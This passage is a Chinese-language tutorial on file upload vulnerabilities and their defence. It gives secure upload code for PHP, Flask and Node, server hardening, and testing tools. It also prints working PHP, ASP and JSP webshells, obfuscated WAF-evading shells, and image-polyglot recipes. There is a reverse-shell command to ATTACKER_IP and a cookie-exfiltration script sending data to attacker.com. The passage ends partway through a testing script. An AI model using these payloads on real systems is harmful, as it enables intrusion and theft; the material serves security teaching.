檔案上傳漏洞利用與防護

File Upload Vulnerability Exploitation and Protection

檔案上傳功能是現代 Web 應用程式中極為常見的功能,從使用者頭像上傳到文件管理系統,無處不在。然而,若未經妥善處理,檔案上傳功能可能成為攻擊者入侵系統的重要跳板。本文將深入探討檔案上傳漏洞的原理、攻擊手法、以及如何建立完善的防護機制。

檔案上傳漏洞原理

檔案上傳漏洞(File Upload Vulnerability)是指 Web 應用程式在處理使用者上傳檔案時,未能正確驗證檔案的類型、內容或儲存位置,導致攻擊者能夠上傳惡意檔案並執行任意程式碼。

漏洞產生的根本原因

  1. 缺乏檔案類型驗證:應用程式未檢查上傳檔案的實際類型
  2. 僅依賴客戶端驗證:驗證邏輯在前端執行,容易被繞過
  3. 不安全的檔案儲存路徑:將檔案存放在 Web 可存取目錄中
  4. 未重新命名檔案:保留使用者提供的檔案名稱
  5. 伺服器設定不當:允許執行上傳目錄中的腳本

漏洞危害等級

根據 OWASP 分類,檔案上傳漏洞可能導致:

  • 遠端程式碼執行(RCE):最嚴重的情況,攻擊者可完全控制伺服器
  • 跨站腳本攻擊(XSS):上傳含有惡意 JavaScript 的 HTML/SVG 檔案
  • 目錄遍歷:利用檔案名稱中的 ../ 覆蓋系統檔案
  • 阻斷服務(DoS):上傳超大檔案耗盡伺服器資源

常見繞過技術

副檔名繞過(Extension Bypass)

攻擊者會使用各種技巧來繞過基於副檔名的黑名單檢查:

1. 大小寫混淆

1
2
3
shell.pHp
shell.PhP
shell.PHP

2. 雙重副檔名

1
2
3
shell.php.jpg
shell.jpg.php
shell.php.png

3. 特殊字元

1
2
3
4
5
shell.php%00.jpg    # Null byte(適用於舊版 PHP)
shell.php\x00.jpg   # Null byte 變體
shell.php%20        # 空格
shell.php.         # 結尾點號
shell.php::$DATA    # Windows NTFS ADS

4. 替代副檔名

PHP 可執行的副檔名變體:

1
.php3, .php4, .php5, .php7, .phtml, .phar, .phps, .pht, .pgif, .inc

ASP/ASPX 變體:

1
.asp, .aspx, .cer, .asa, .cdx, .ashx, .asmx, .svc

JSP 變體:

1
.jsp, .jspx, .jsw, .jsv, .jspf

MIME Type 繞過

應用程式可能依賴 Content-Type 標頭來判斷檔案類型,這很容易被偽造:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
POST /upload HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg

<?php system($_GET['cmd']); ?>
------WebKitFormBoundary--

使用 Burp Suite 攔截請求並修改 Content-Type:

1
2
3
4
5
6
7
# 原始
Content-Type: application/x-php

# 修改為
Content-Type: image/jpeg
Content-Type: image/png
Content-Type: image/gif

Magic Bytes 繞過

檔案的 Magic Bytes(或稱 File Signature)是檔案開頭的特定位元組序列,用於識別檔案類型:

檔案類型Magic Bytes(Hex)ASCII
JPEGFF D8 FF E0ÿØÿà
PNG89 50 4E 47 0D 0A 1A 0A.PNG….
GIF47 49 46 38GIF8
PDF25 50 44 46%PDF
ZIP50 4B 03 04PK..

攻擊者可在惡意腳本前加入合法的 Magic Bytes:

1
2
GIF89a
<?php system($_GET['cmd']); ?>

或使用十六進位編輯器:

1
2
# 建立帶有 GIF Magic Bytes 的 PHP Shell
echo -e '\x47\x49\x46\x38\x39\x61<?php system($_GET["cmd"]); ?>' > shell.gif.php
1
2
3
# 使用 xxd 驗證
xxd shell.gif.php | head -1
00000000: 4749 4638 3961 3c3f 7068 7020 7379 7374  GIF89a<?php syst

Webshell 上傳與利用

基本 PHP Webshell

最簡單的一句話木馬:

1
<?php system($_GET['cmd']); ?>
1
<?php echo shell_exec($_GET['cmd']); ?>
1
<?php passthru($_GET['cmd']); ?>
1
<?php eval($_POST['code']); ?>

進階 PHP Webshell

功能較完整的 Webshell:

1
2
3
4
5
6
7
8
9
<?php
if(isset($_REQUEST['cmd'])){
    $cmd = ($_REQUEST['cmd']);
    echo "<pre>";
    $result = shell_exec($cmd);
    echo htmlspecialchars($result);
    echo "</pre>";
}
?>

繞過 WAF 的混淆技術

1
2
3
4
5
<?php
// 使用變數函數
$a = 'sys'.'tem';
$a($_GET['cmd']);
?>
1
2
3
4
<?php
// Base64 編碼
eval(base64_decode('c3lzdGVtKCRfR0VUWydjbWQnXSk7'));
?>
1
2
3
4
<?php
// 使用 assert()
@assert($_POST['cmd']);
?>
1
2
3
4
5
<?php
// 使用 create_function()(PHP 7.2 以前)
$func = create_function('', $_POST['cmd']);
$func();
?>

ASP/ASPX Webshell

1
<%eval request("cmd")%>
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%
string cmd = Request["cmd"];
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.Arguments = "/c " + cmd;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.Start();
Response.Write("<pre>" + p.StandardOutput.ReadToEnd() + "</pre>");
%>

JSP Webshell

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
<%@ page import="java.util.*,java.io.*"%>
<%
String cmd = request.getParameter("cmd");
if(cmd != null) {
    Process p = Runtime.getRuntime().exec(cmd);
    OutputStream os = p.getOutputStream();
    InputStream in = p.getInputStream();
    DataInputStream dis = new DataInputStream(in);
    String dirone = dis.readLine();
    while(dirone != null) {
        out.println(dirone);
        dirone = dis.readLine();
    }
}
%>

Webshell 利用流程

  1. 上傳 Webshell
1
curl -X POST -F "file=@shell.php" http://target.com/upload.php
  1. 執行命令
1
2
3
4
5
6
7
8
# 查看系統資訊
curl "http://target.com/uploads/shell.php?cmd=id"

# 列出目錄
curl "http://target.com/uploads/shell.php?cmd=ls%20-la"

# 讀取敏感檔案
curl "http://target.com/uploads/shell.php?cmd=cat%20/etc/passwd"
  1. 建立反向 Shell
1
2
3
4
5
# 在攻擊機監聽
nc -lvnp 4444

# 透過 Webshell 執行
curl "http://target.com/uploads/shell.php?cmd=bash%20-c%20'bash%20-i%20>%26%20/dev/tcp/ATTACKER_IP/4444%200>%261'"

圖片木馬技術

圖片木馬(Image Trojan)原理

圖片木馬是將惡意程式碼嵌入合法圖片檔案中的技術,可以繞過許多安全檢查。

方法一:EXIF 資料注入

利用圖片的 EXIF metadata 嵌入程式碼:

1
2
# 使用 exiftool 注入 PHP 程式碼到 Comment 欄位
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg

若伺服器使用 include() 或類似函數處理圖片,程式碼將被執行。

方法二:使用 jhead

1
2
3
4
5
6
# 先建立合法的 JPEG
convert -size 100x100 xc:white test.jpg

# 注入程式碼
jhead -ce test.jpg
# 在編輯器中加入 PHP 程式碼

方法三:手動二進位注入

1
2
3
# 在 GIF 檔案後附加 PHP 程式碼
cat legit.gif > trojan.gif.php
echo '<?php system($_GET["cmd"]); ?>' >> trojan.gif.php

方法四:Polyglot 檔案

建立同時是有效圖片和有效 PHP 的檔案:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
# Python 腳本建立 JPEG/PHP Polyglot
import struct

# JPEG 標頭
jpeg_header = b'\xFF\xD8\xFF\xE0\x00\x10JFIF\x00\x01\x01'

# PHP 程式碼(在 JPEG 註解中)
php_code = b'\xFF\xFE\x00\x1F<?php system($_GET["c"]); ?>'

# JPEG 結尾
jpeg_footer = b'\xFF\xD9'

with open('polyglot.php.jpg', 'wb') as f:
    f.write(jpeg_header)
    f.write(php_code)
    f.write(jpeg_footer)

圖片二次渲染繞過

許多應用程式會對上傳的圖片進行二次處理(如 GD Library、ImageMagick),這會破壞嵌入的程式碼。繞過方法:

1
2
3
4
5
6
7
<?php
// 找出 GD 處理後不變的區塊
$img = imagecreatefromjpeg('original.jpg');
imagejpeg($img, 'processed.jpg');

// 比較兩個檔案,找出不變的位元組位置
// 在該位置嵌入程式碼

使用工具自動化:

1
2
# 使用 jpg_payload.php 工具
php jpg_payload.php input.jpg output.jpg '<?php system($_GET["cmd"]); ?>'

各語言防護實作

PHP 防護實作

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
<?php
class SecureFileUpload {
    // 允許的 MIME 類型
    private $allowedMimes = [
        'image/jpeg',
        'image/png',
        'image/gif',
        'application/pdf'
    ];

    // 允許的副檔名
    private $allowedExtensions = ['jpg', 'jpeg', 'png', 'gif', 'pdf'];

    // 最大檔案大小(5MB)
    private $maxFileSize = 5 * 1024 * 1024;

    // 上傳目錄(不在 web root 下)
    private $uploadDir = '/var/uploads/';

    public function upload($file) {
        // 1. 檢查上傳錯誤
        if ($file['error'] !== UPLOAD_ERR_OK) {
            throw new Exception('Upload error: ' . $file['error']);
        }

        // 2. 檢查檔案大小
        if ($file['size'] > $this->maxFileSize) {
            throw new Exception('File too large');
        }

        // 3. 取得並驗證副檔名
        $extension = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
        if (!in_array($extension, $this->allowedExtensions)) {
            throw new Exception('Invalid file extension');
        }

        // 4. 使用 finfo 驗證實際 MIME 類型
        $finfo = new finfo(FILEINFO_MIME_TYPE);
        $mimeType = $finfo->file($file['tmp_name']);
        if (!in_array($mimeType, $this->allowedMimes)) {
            throw new Exception('Invalid file type');
        }

        // 5. 驗證圖片完整性(如果是圖片)
        if (strpos($mimeType, 'image/') === 0) {
            $imageInfo = getimagesize($file['tmp_name']);
            if ($imageInfo === false) {
                throw new Exception('Invalid image file');
            }

            // 6. 重新處理圖片以移除惡意程式碼
            $this->sanitizeImage($file['tmp_name'], $mimeType);
        }

        // 7. 產生隨機檔名
        $newFilename = bin2hex(random_bytes(16)) . '.' . $extension;

        // 8. 移動檔案到安全目錄
        $destination = $this->uploadDir . $newFilename;
        if (!move_uploaded_file($file['tmp_name'], $destination)) {
            throw new Exception('Failed to save file');
        }

        // 9. 設定安全的檔案權限
        chmod($destination, 0644);

        return $newFilename;
    }

    private function sanitizeImage($path, $mimeType) {
        switch ($mimeType) {
            case 'image/jpeg':
                $img = imagecreatefromjpeg($path);
                imagejpeg($img, $path, 90);
                break;
            case 'image/png':
                $img = imagecreatefrompng($path);
                imagepng($img, $path, 9);
                break;
            case 'image/gif':
                $img = imagecreatefromgif($path);
                imagegif($img, $path);
                break;
        }
        if (isset($img)) {
            imagedestroy($img);
        }
    }
}

// 使用範例
try {
    $uploader = new SecureFileUpload();
    $filename = $uploader->upload($_FILES['upload']);
    echo "File uploaded: " . $filename;
} catch (Exception $e) {
    echo "Error: " . $e->getMessage();
}
?>

Python(Flask)防護實作

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
import os
import uuid
import magic
from PIL import Image
from flask import Flask, request, jsonify
from werkzeug.utils import secure_filename

app = Flask(__name__)

class SecureFileUpload:
    ALLOWED_EXTENSIONS = {'jpg', 'jpeg', 'png', 'gif', 'pdf'}
    ALLOWED_MIMES = {
        'image/jpeg',
        'image/png',
        'image/gif',
        'application/pdf'
    }
    MAX_FILE_SIZE = 5 * 1024 * 1024  # 5MB
    UPLOAD_DIR = '/var/uploads/'

    @classmethod
    def validate_extension(cls, filename):
        """驗證副檔名"""
        if '.' not in filename:
            return False
        ext = filename.rsplit('.', 1)[1].lower()
        return ext in cls.ALLOWED_EXTENSIONS

    @classmethod
    def validate_mime(cls, file_path):
        """使用 python-magic 驗證真實 MIME 類型"""
        mime = magic.Magic(mime=True)
        file_mime = mime.from_file(file_path)
        return file_mime in cls.ALLOWED_MIMES

    @classmethod
    def validate_image(cls, file_path):
        """驗證圖片完整性並重新處理"""
        try:
            with Image.open(file_path) as img:
                img.verify()

            # 重新開啟並儲存以移除惡意資料
            with Image.open(file_path) as img:
                # 移除所有 EXIF 資料
                data = list(img.getdata())
                img_without_exif = Image.new(img.mode, img.size)
                img_without_exif.putdata(data)
                img_without_exif.save(file_path)

            return True
        except Exception:
            return False

    @classmethod
    def generate_filename(cls, original_filename):
        """產生隨機檔名"""
        ext = original_filename.rsplit('.', 1)[1].lower()
        return f"{uuid.uuid4().hex}.{ext}"

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'file' not in request.files:
        return jsonify({'error': 'No file provided'}), 400

    file = request.files['file']

    if file.filename == '':
        return jsonify({'error': 'No file selected'}), 400

    # 檢查副檔名
    if not SecureFileUpload.validate_extension(file.filename):
        return jsonify({'error': 'Invalid file extension'}), 400

    # 檢查檔案大小
    file.seek(0, os.SEEK_END)
    size = file.tell()
    file.seek(0)

    if size > SecureFileUpload.MAX_FILE_SIZE:
        return jsonify({'error': 'File too large'}), 400

    # 儲存到暫存位置
    temp_path = f'/tmp/{uuid.uuid4().hex}'
    file.save(temp_path)

    try:
        # 驗證 MIME 類型
        if not SecureFileUpload.validate_mime(temp_path):
            os.remove(temp_path)
            return jsonify({'error': 'Invalid file type'}), 400

        # 如果是圖片,驗證並清理
        mime = magic.Magic(mime=True)
        if mime.from_file(temp_path).startswith('image/'):
            if not SecureFileUpload.validate_image(temp_path):
                os.remove(temp_path)
                return jsonify({'error': 'Invalid image'}), 400

        # 產生安全的檔名並移動
        new_filename = SecureFileUpload.generate_filename(file.filename)
        final_path = os.path.join(SecureFileUpload.UPLOAD_DIR, new_filename)
        os.rename(temp_path, final_path)
        os.chmod(final_path, 0o644)

        return jsonify({'success': True, 'filename': new_filename})

    except Exception as e:
        if os.path.exists(temp_path):
            os.remove(temp_path)
        return jsonify({'error': str(e)}), 500

if __name__ == '__main__':
    app.run(debug=False)

Node.js(Express)防護實作

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
const express = require('express');
const multer = require('multer');
const path = require('path');
const crypto = require('crypto');
const fs = require('fs').promises;
const fileType = require('file-type');
const sharp = require('sharp');

const app = express();

// 安全設定
const CONFIG = {
    ALLOWED_EXTENSIONS: ['.jpg', '.jpeg', '.png', '.gif', '.pdf'],
    ALLOWED_MIMES: [
        'image/jpeg',
        'image/png',
        'image/gif',
        'application/pdf'
    ],
    MAX_FILE_SIZE: 5 * 1024 * 1024, // 5MB
    UPLOAD_DIR: '/var/uploads/'
};

// Multer 設定
const storage = multer.diskStorage({
    destination: '/tmp/',
    filename: (req, file, cb) => {
        const randomName = crypto.randomBytes(16).toString('hex');
        cb(null, randomName);
    }
});

const upload = multer({
    storage,
    limits: { fileSize: CONFIG.MAX_FILE_SIZE },
    fileFilter: (req, file, cb) => {
        const ext = path.extname(file.originalname).toLowerCase();
        if (!CONFIG.ALLOWED_EXTENSIONS.includes(ext)) {
            return cb(new Error('Invalid file extension'), false);
        }
        cb(null, true);
    }
});

// 驗證檔案真實類型
async function validateFileType(filePath) {
    const type = await fileType.fromFile(filePath);
    if (!type || !CONFIG.ALLOWED_MIMES.includes(type.mime)) {
        return false;
    }
    return type;
}

// 清理圖片
async function sanitizeImage(filePath, mimeType) {
    const outputPath = filePath + '_clean';

    try {
        await sharp(filePath)
            .rotate() // 自動旋轉但移除 EXIF
            .withMetadata({}) // 移除所有 metadata
            .toFile(outputPath);

        await fs.unlink(filePath);
        await fs.rename(outputPath, filePath);
        return true;
    } catch (error) {
        console.error('Image sanitization failed:', error);
        return false;
    }
}

// 產生安全檔名
function generateSafeFilename(originalName) {
    const ext = path.extname(originalName).toLowerCase();
    const randomName = crypto.randomBytes(16).toString('hex');
    return `${randomName}${ext}`;
}

// 上傳路由
app.post('/upload', upload.single('file'), async (req, res) => {
    if (!req.file) {
        return res.status(400).json({ error: 'No file provided' });
    }

    const tempPath = req.file.path;

    try {
        // 驗證真實檔案類型
        const fileTypeResult = await validateFileType(tempPath);
        if (!fileTypeResult) {
            await fs.unlink(tempPath);
            return res.status(400).json({ error: 'Invalid file type' });
        }

        // 如果是圖片,進行清理
        if (fileTypeResult.mime.startsWith('image/')) {
            const sanitized = await sanitizeImage(tempPath, fileTypeResult.mime);
            if (!sanitized) {
                await fs.unlink(tempPath);
                return res.status(400).json({ error: 'Invalid image file' });
            }
        }

        // 產生安全檔名並移動
        const newFilename = generateSafeFilename(req.file.originalname);
        const finalPath = path.join(CONFIG.UPLOAD_DIR, newFilename);

        await fs.rename(tempPath, finalPath);
        await fs.chmod(finalPath, 0o644);

        res.json({ success: true, filename: newFilename });

    } catch (error) {
        // 清理暫存檔
        try {
            await fs.unlink(tempPath);
        } catch (e) {}

        res.status(500).json({ error: 'Upload failed' });
    }
});

// 錯誤處理
app.use((error, req, res, next) => {
    if (error instanceof multer.MulterError) {
        if (error.code === 'LIMIT_FILE_SIZE') {
            return res.status(400).json({ error: 'File too large' });
        }
    }
    res.status(400).json({ error: error.message });
});

app.listen(3000, () => {
    console.log('Server running on port 3000');
});

白名單與黑名單策略

黑名單策略(不推薦)

黑名單策略試圖封鎖已知的危險副檔名,但這種方法存在許多問題:

1
2
3
4
5
6
7
// 不安全的黑名單範例 - 不要使用!
$blacklist = ['php', 'php3', 'php4', 'php5', 'phtml', 'exe', 'sh'];

$extension = pathinfo($filename, PATHINFO_EXTENSION);
if (in_array(strtolower($extension), $blacklist)) {
    die('Forbidden file type');
}

黑名單的問題:

  1. 難以列舉所有危險的副檔名
  2. 新的危險副檔名會不斷出現
  3. 大小寫變化可能繞過
  4. 特殊字元可能繞過(null byte、空格、點號)
  5. 伺服器設定可能允許意外的副檔名執行

白名單策略(推薦)

白名單策略只允許明確指定的安全檔案類型:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// 安全的白名單範例
$whitelist = [
    'jpg' => 'image/jpeg',
    'jpeg' => 'image/jpeg',
    'png' => 'image/png',
    'gif' => 'image/gif',
    'pdf' => 'application/pdf'
];

$extension = strtolower(pathinfo($filename, PATHINFO_EXTENSION));

// 檢查副檔名是否在白名單中
if (!array_key_exists($extension, $whitelist)) {
    die('File type not allowed');
}

// 驗證 MIME 類型是否與副檔名匹配
$finfo = new finfo(FILEINFO_MIME_TYPE);
$mimeType = $finfo->file($tempPath);

if ($mimeType !== $whitelist[$extension]) {
    die('File type mismatch');
}

多層驗證策略

最佳實踐是結合多種驗證方法:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
class MultiLayerValidation {
    private $whitelist = [
        'jpg' => ['mime' => 'image/jpeg', 'magic' => ["\xFF\xD8\xFF"]],
        'png' => ['mime' => 'image/png', 'magic' => ["\x89PNG"]],
        'gif' => ['mime' => 'image/gif', 'magic' => ["GIF87a", "GIF89a"]],
        'pdf' => ['mime' => 'application/pdf', 'magic' => ["%PDF"]]
    ];

    public function validate($file) {
        $extension = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));

        // Layer 1: 白名單副檔名
        if (!isset($this->whitelist[$extension])) {
            return ['valid' => false, 'error' => 'Extension not allowed'];
        }

        $expected = $this->whitelist[$extension];

        // Layer 2: MIME 類型
        $finfo = new finfo(FILEINFO_MIME_TYPE);
        $mime = $finfo->file($file['tmp_name']);
        if ($mime !== $expected['mime']) {
            return ['valid' => false, 'error' => 'MIME type mismatch'];
        }

        // Layer 3: Magic Bytes
        $content = file_get_contents($file['tmp_name'], false, null, 0, 10);
        $magicValid = false;
        foreach ($expected['magic'] as $magic) {
            if (strpos($content, $magic) === 0) {
                $magicValid = true;
                break;
            }
        }
        if (!$magicValid) {
            return ['valid' => false, 'error' => 'Invalid file signature'];
        }

        // Layer 4: 如果是圖片,驗證完整性
        if (strpos($mime, 'image/') === 0) {
            if (!getimagesize($file['tmp_name'])) {
                return ['valid' => false, 'error' => 'Invalid image'];
            }
        }

        return ['valid' => true];
    }
}

安全的檔案儲存架構

架構設計原則

  1. 隔離儲存:上傳檔案應存放在 Web Root 之外
  2. 無執行權限:儲存目錄禁止執行任何腳本
  3. 獨立域名:使用不同的域名提供靜態檔案
  4. CDN 整合:透過 CDN 提供檔案,避免直接存取伺服器

推薦的檔案儲存架構

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
/var/www/html/          <- Web Root(不存放上傳檔案)
├── index.php
├── upload.php
└── ...

/var/uploads/           <- 上傳目錄(Web Root 之外)
├── 2025/
   ├── 04/
      ├── abc123.jpg
      └── def456.pdf
   └── ...
└── ...

Nginx 設定

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# 主站設定
server {
    listen 443 ssl;
    server_name www.example.com;
    root /var/www/html;

    # 禁止直接存取上傳目錄
    location /uploads {
        deny all;
    }
}

# 靜態檔案域名設定
server {
    listen 443 ssl;
    server_name static.example.com;
    root /var/uploads;

    # 只允許特定檔案類型
    location ~* \.(jpg|jpeg|png|gif|pdf)$ {
        add_header Content-Disposition "attachment";
        add_header X-Content-Type-Options "nosniff";
        add_header Content-Security-Policy "default-src 'none'";
    }

    # 禁止執行任何腳本
    location ~* \.(php|phtml|php3|php4|php5|asp|aspx|jsp)$ {
        deny all;
    }

    # 預設禁止所有其他存取
    location / {
        deny all;
    }
}

Apache 設定

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
# 在上傳目錄的 .htaccess
<Directory "/var/uploads">
    # 禁止執行任何腳本
    php_admin_flag engine off

    # 移除處理程序
    RemoveHandler .php .phtml .php3 .php4 .php5 .php7 .phar
    RemoveType .php .phtml .php3 .php4 .php5 .php7 .phar

    # 設定所有檔案為純下載
    <FilesMatch ".*">
        ForceType application/octet-stream
        Header set Content-Disposition attachment
    </FilesMatch>

    # 禁止存取 .htaccess 本身
    <Files ".htaccess">
        Require all denied
    </Files>
</Directory>

使用物件儲存服務

建議使用雲端物件儲存(如 AWS S3、Google Cloud Storage):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import boto3
from botocore.config import Config

class S3FileUpload:
    def __init__(self):
        self.s3 = boto3.client(
            's3',
            config=Config(signature_version='s3v4')
        )
        self.bucket = 'secure-uploads-bucket'

    def upload(self, file_path, content_type):
        key = f"uploads/{uuid.uuid4().hex}"

        self.s3.upload_file(
            file_path,
            self.bucket,
            key,
            ExtraArgs={
                'ContentType': content_type,
                'ContentDisposition': 'attachment',
                'ACL': 'private'
            }
        )

        return key

    def get_download_url(self, key, expires_in=3600):
        """產生臨時下載 URL"""
        return self.s3.generate_presigned_url(
            'get_object',
            Params={'Bucket': self.bucket, 'Key': key},
            ExpiresIn=expires_in
        )

資料庫記錄追蹤

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
CREATE TABLE uploaded_files (
    id BIGINT PRIMARY KEY AUTO_INCREMENT,
    original_filename VARCHAR(255) NOT NULL,
    stored_filename VARCHAR(255) NOT NULL,
    file_path VARCHAR(500) NOT NULL,
    mime_type VARCHAR(100) NOT NULL,
    file_size BIGINT NOT NULL,
    file_hash VARCHAR(64) NOT NULL,  -- SHA-256
    uploader_id BIGINT NOT NULL,
    uploader_ip VARCHAR(45) NOT NULL,
    uploaded_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    is_deleted BOOLEAN DEFAULT FALSE,
    INDEX idx_hash (file_hash),
    INDEX idx_uploader (uploader_id),
    FOREIGN KEY (uploader_id) REFERENCES users(id)
);

測試方法與工具

手動測試步驟

1. 基礎功能測試

1
2
3
4
5
6
# 測試正常上傳
curl -X POST -F "file=@legit.jpg" http://target.com/upload

# 測試超大檔案
dd if=/dev/zero of=large.jpg bs=1M count=100
curl -X POST -F "file=@large.jpg" http://target.com/upload

2. 副檔名繞過測試

1
2
3
4
5
# 測試不同副檔名
for ext in php php3 php4 php5 phtml phar PhP PHP%00.jpg "php " "php."; do
    echo "Testing: shell.$ext"
    curl -X POST -F "file=@shell.php;filename=shell.$ext" http://target.com/upload
done

3. MIME 類型繞過測試

使用 Burp Suite 或 curl 修改 Content-Type:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
# 偽造 MIME 類型
curl -X POST \
    -H "Content-Type: multipart/form-data; boundary=----Boundary" \
    -d '------Boundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg

<?php system($_GET["cmd"]); ?>
------Boundary--' \
    http://target.com/upload

4. Magic Bytes 繞過測試

1
2
3
4
5
# 建立帶有 GIF Magic Bytes 的 PHP 檔案
printf 'GIF89a<?php system($_GET["cmd"]); ?>' > shell.gif.php

# 上傳測試
curl -X POST -F "file=@shell.gif.php" http://target.com/upload

自動化工具

Burp Suite

1
2
3
4
1. 開啟 Burp Suite,設定瀏覽器代理
2. 上傳正常檔案並攔截請求
3. 送到 Intruder,設定 payload 位置
4. 使用副檔名、MIME 類型字典進行 fuzzing

Upload Scanner(Burp 擴展)

1
2
3
1. 安裝 Upload Scanner 擴展
2. 右鍵點擊上傳請求 -> Scan with Upload Scanner
3. 自動測試多種繞過技術

Fuxploider

專門用於檔案上傳漏洞測試的工具:

1
2
3
4
5
6
7
8
9
# 安裝
git clone https://github.com/almandin/fuxploider.git
cd fuxploider
pip install -r requirements.txt

# 使用
python fuxploider.py --url http://target.com/upload \
    --not-regex "error|failed" \
    --true-regex "success|uploaded"

Upload Bypass

1
2
3
4
5
# 安裝
git clone https://github.com/sAjibuu/Upload_Bypass.git

# 使用
python upload_bypass.py -u http://target.com/upload -f shell.php

常用 Payload 列表

建立測試用的 payload 檔案:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# 建立測試目錄
mkdir upload_test && cd upload_test

# 基礎 PHP Shell
echo '<?php system($_GET["cmd"]); ?>' > shell.php

# GIF 偽裝
printf 'GIF89a<?php system($_GET["cmd"]); ?>' > shell.gif

# PNG 偽裝
printf '\x89PNG\r\n\x1a\n<?php system($_GET["cmd"]); ?>' > shell.png

# JPEG 偽裝
printf '\xFF\xD8\xFF\xE0<?php system($_GET["cmd"]); ?>' > shell.jpg

# SVG XSS
cat > xss.svg << 'EOF'
<?xml version="1.0" standalone="no"?>
<svg xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert('XSS')</script>
</svg>
EOF

# HTML 木馬
cat > trojan.html << 'EOF'
<html><body>
<script>document.location='http://attacker.com/steal?c='+document.cookie</script>
</body></html>
EOF

自動化測試腳本

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
#!/usr/bin/env python3
"""
檔案上傳漏洞自動化測試腳本
"""

import requests
import os
import sys

class UploadTester:
    def __init__(self, target_url):
        self.target_url = target_url
        self.results = []

    def test_extension_bypass(self):
        """測試副檔名繞過"""
        extensions = [
            'php', 'php3', 'php4', 'php5', 'php7', 'phtml', 'phar',
            'PHP', 'Php', 'pHp', 'php.jpg', 'php%00.jpg', 'php ',
            'php.', 'php::$DATA'
        ]

        payload = '<?php echo "VULNERABLE"; ?>'

        for ext in extensions:
            filename = f'test.{ext}'
            files = {'file': (filename, payload, 'image/jpeg')}

            try:
                response = requests.post(self.target_url, files=files, timeout=10)
                self.results.append({
                    'test': f'Extension: {ext}',
                    'status': response.status_code,
                    'length': len(response.text)
                })
            except Exception as e:
                self.results.append({
                    'test': f'Extension: {ext}',
                    'error': str(e)
                })

    def test_mime_bypass(self):
        """測試 MIME 類型繞過"""
        mimes = [
            'image/jpeg', 'image/png', 'image/gif',
            'application/octet-stream', 'text/plain'
        ]

        payload = '<?php echo "VULNERABLE"; ?>'

        for mime in mimes:
            files = {'file': ('test.php', payload, mime)}

            try:
